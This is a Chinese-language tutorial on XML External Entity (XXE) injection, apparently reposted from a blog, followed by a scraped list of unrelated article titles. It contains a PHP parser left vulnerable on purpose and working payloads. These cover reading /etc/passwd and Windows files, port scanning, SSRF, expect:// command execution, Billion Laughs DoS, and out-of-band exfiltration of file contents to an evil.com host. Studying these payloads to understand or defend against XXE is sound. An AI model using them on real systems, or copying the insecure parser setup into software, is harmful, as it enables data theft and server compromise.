XXE (XML External Entity Injection)

0x01 什么是XXE

XML外部实体注入
若是PHP,libxml_disable_entity_loader设置为TRUE可禁用外部实体注入

0x02 XXE利用

简单文件读取

基于file协议的XXE攻击

XMLInject.php

<?php
# Enable the ability to load external entities
libxml_disable_entity_loader (false);

$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();# http://hublog.hubmed.org/archives/001854.html
# LIBXML_NOENT: 将 XML 中的实体引用 替换 成对应的值
# LIBXML_DTDLOAD: 加载 DOCTYPE 中的 DTD 文件
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // this stuff is required to make sure$creds = simplexml_import_dom($dom);
$user = $creds->user;
$pass = $creds->pass;echo "You have logged in as user $user";`?

file_get_content('php://input')接收post数据,xml数据

XML.txt

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>`</creds>

导致可以读出etc/passwd文件

在使用file://协议时,有以下几种格式:

file://host/path
* Linuxfile:///etc/passwd
* Unixfile://localhost/etc/fstabfile:///localhost/etc/fstab
* Windowsfile:///c:/windows/win.inifile://localhost/c:/windows/win.ini
*(下面这两种在某些浏览器里是支持的)file:///c|windows/win.inifile://localhost/c|windows/win.ini

XML文档是用PHP进行解析的,那么还可以使用php://filter协议来进行读取。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY content SYSTEM "php://filter/resource=c:/windows/win.ini">
]>
<root><foo>&content;</foo></root>

基于netdoc的XXE攻击

XML文档是用Java解析的话,可利用netdoc

<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#PCDATA)>
<!ENTITY file SYSTEM "netdoc:/sys/power/image_size">
]>
<data>&file;</data>

端口扫描

加载外部DTD时有两种加载方式,一种为私有private,第二种为公共public

私有类型DTD加载:

<!ENTITY private_dtd SYSTEM "DTD_location">

公共类型DTD加载:

<!ENTITY public_dtd PUBLIC "DTD_name" "DTD_location">

在公共类型DTD加载的时候,首先会使用DTD_name来检索,如果无法找到,则通过DTD_location来寻找此公共DTD。利用DTD_location,在一定的环境下可以用来做内网探测。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY portscan SYSTEM "http://localhost:3389">
]>
<root><foo>&portscan;</foo></root>

因解析器种类不同,所以针对XXE攻击进行端口扫描需要一个合适的环境才能够实现,例如:有明显的连接错误信息。

利用DTD进行数据回显

有时读取文件时没有回显,这时可以利用DTD参数实体的特性将文件内容拼接到url中,达到读取文件的效果。

 <?xml version="1.0" encoding="utf-8"?><!DOCTYPE root[    <!ENTITY % file SYSTEM "php://fileter/convert.base64-encode/resource=c:/windows/win.ini">     <!ENTITY % dtd SYSTEM "http://192.168.1.100:8000/evil.dtd">    %dtd;     %send;]><root></root>

evil.dtd

 <!ENTITY % payload "<!ENTITY % send SYSTEM 'http://evil.com/?content=%file;'>">%payload;

在evil.dtd中将%file实体的内容拼接到url后,然后利用burp等工具,查看url请求就能获得我们需要的内容

远程命令执行

需要 PHP开启了PECL上的Expect扩展

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE root [<!ENTITY content SYSTEM "expect://dir .">]><root><foo>&content;</foo></root>

攻击内网网站

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE root [<!ENTITY exp SYSTEM "http://192.168.1.103/payload">]><root><foo>&exp;</foo></root>

利用外部实体构造payload向内网其他机器发出请求

DDoS

最典型的案例Billion Laughs 攻击

<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>

DTD:
普通实体:DTD中定义,XML中使用,使用格式: &名;  
参数实体:DTD中定义,定义的时候要用%,DTD中使用,使用格式: %名;
普通实体和参数实体都分为内部实体和外部实体两种,外部实体定义需要加上 SYSTEM关键字,其内容是URL所指向的外部文件实际的内容。  
如果不加SYSTEM关键字,则为内部实体,表示实体指代内容为字符串。

0x03 XXE漏洞挖掘

提交POST请求XML文件

提交一个POST请求,请求头加上Content-type:application/xml
同时添加测试代码

<?xml version="1.0"encoding="utf-8"?>
<test>cat</test>

通过OOB(Out-of-band)方法远程访问文件测试

  1. 自建一个网站开启80端口
  2. 在测试网站提交payload,如下
    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE dtgmlf6 [<!ENTITY dtgmlf6ent SYSTEM "http://0.0.0.0/">
    ]>
    <GeneralSearch>&dtgmlf6ent;</GeneralSearch>

    3.查看网站返回内容
    4.查看自建服务器访问日志,是否有DTD文件等请求

0x04 XXE自动化工具

XXEinjector

0x05 参考链接

https://b1ngz.github.io/XXE-learning-note/

http://colesec.inventedtheinternet.com/attacking-xml-with-xml-external-entity-injection-xxe/

https://security.tencent.com/index.php/blog/msg/69

http://rickgray.me/2015/06/08/xml-entity-attack-review.html

http://www.cnblogs.com/mengdd/archive/2013/05/30/3107361.html

http://www.freebuf.com/articles/web/97833.html

https://zhuanlan.zhihu.com/p/24275040

转载于:https://www.cnblogs.com/bmjoker/p/9452376.html

4.XXE (XML External Entity Injection)相关推荐

  1. 【悟空云课堂】第二十三期:对XML外部实体引用的不当限制(CWE-611 :Improper Restriction of XML External Entity Reference)

    关注公众号"中科天齐软件安全中心"(id:woocoom),一起涨知识! 该栏目为中科天齐全新规划的悟空云课堂,每周五下午18:00准时上线,旨在科普软件安全相关知识,助力企业有效 ...

  2. XML External Entities 攻击(XML外部实体注入)

    使用配置的 XML 解析器无法预防和限制外部实体进行解析,这会使解析器暴露在 XML External Entities 攻击 之下 说明: XML External Entities 攻击可利用能够 ...

  3. XXE(xml外部实体攻击)

    1.概念 XXE(XML External Entity)是指xml外部实体攻击漏洞.XML外部实体攻击是针对解析XML输入的应用程序的一种攻击.当包含对外部实体的引用的XML输入被弱配置XML解析器 ...

  4. XXE(XML外部实体注入)漏洞

    如果你的应用是通过用户上传处理XML文件或POST请求(例如将SAML用于单点登录服务甚至是RSS)的,那么你很有可能会受到XXE的攻击.XXE是一种非常常见的漏洞类型,我们几乎每天都会碰到它 什么是 ...

  5. pikachu XXE (XML外部实体注入)(皮卡丘漏洞平台通关系列)

    目录 一.来自官方的介绍以及来自民间的扩展 1.pikachu官方简介 2.小女子之前画的脑图 3.两个不错的博客 二.小白菜的闯关 1.查看系统文件内容 2.查看php源代码 3.爆破开放端口 三. ...

  6. AndroidStudio报错:Emulator: I/O warning : failed to load external entity file:/C:/Users/Administrator

    场景 在进行Android Studio的.Android Studio目录从C盘修改为其他目录后,新建App启动提示: Emulator: I/O warning : failed to load ...

  7. failed to load external entity file:/C:/Users/fmm/.AndroidStudio3.4/config/options/updates.xml

    运行android studio 自带的模拟机的时候提示这样的问题 这个问题自己的处理方法,简单直接,直接把存放模拟机的目录删除了 然后重新下载就好了,,这个删除最好全部都删除,刚开始只是删除模拟机, ...

  8. Lab: Exploiting XXE using external entities to retrieve files:利用外部实体利用 XXE 来检索文件...

    利用XXE检索文件 要执行从服务器的文件系统中检索任意文件的 XXE 注入攻击,您需要通过两种方式修改提交的 XML: 引入(或编辑)DOCTYPE定义包含文件路径的外部实体的元素. 编辑应用程序响应 ...

  9. SOAP-ERROR: Parsing WSDL: failed to load external entity怎么办?

    这个错误是我们ehr同步人员和部门信息接口报的错,直接访问WSDL也能正常返回 测试发现产生这个错误与PHP版本有关,版本高的不会出现这个问题. 解决方案: 1.修改服务器网关配置,就是OpenSSL ...

最新文章

  1. 阿里巴巴发布AI养蜂系统
  2. download first at netease music
  3. 无忧计算机二级试题题库,全国计算机二级MS Office试题
  4. [Android源码]Android源码之高仿飞鸽传书WIFI热点搜索与创建(一)
  5. 对cookie与session的理解
  6. 用Notepad++来编写第一个HTML网页程序,你也可以!!!
  7. sqlmap --os-shell反制小思路
  8. js工作笔记003---js编写习惯_提高网页显示速度
  9. python与excel-Python与Excel(1)
  10. Android7.0以后的ninja编译系统
  11. 如何导出微信聊天记录
  12. 文本表示与文本特征提取的区别
  13. 凡是过往,皆为序章。|2021年终总结
  14. 多元线性回归多重共线性的危害
  15. 解决Clock skew detected.
  16. C盘占用空间大如何清理
  17. 计算机存储介质清除工具,天桥科技存储介质信息消除工具
  18. GPG(GnuPG)的安装和使用
  19. 基于Android平台实现人脸识别
  20. Scrapy 源码分析之 DepthMiddleware

热门文章

  1. fedora nginx php,在fedora16下安裝nginx + php-fpm
  2. css3位移过度效果,详解Css3新特性应用之过渡与动画
  3. php pdo mysql类源码_完整示例php+pdo实现的购物车类
  4. 怎么用wifi进e站_忘记wifi密码怎么办,用这招可以知道电脑中的wifi密码
  5. android view绘制速度,关于android ui的优化 view 的绘制速度
  6. win8计算机配置怎么看,win8怎么看电脑配置?win8电脑配置的查看方法
  7. 突破次元壁障,Python爬虫获取二次元女友
  8. java –cp_Java设置–用Java设置
  9. java编程工具 初学者_面向初学者的Java编程在线课程
  10. 构造函数和复制函数java_用Java复制构造函数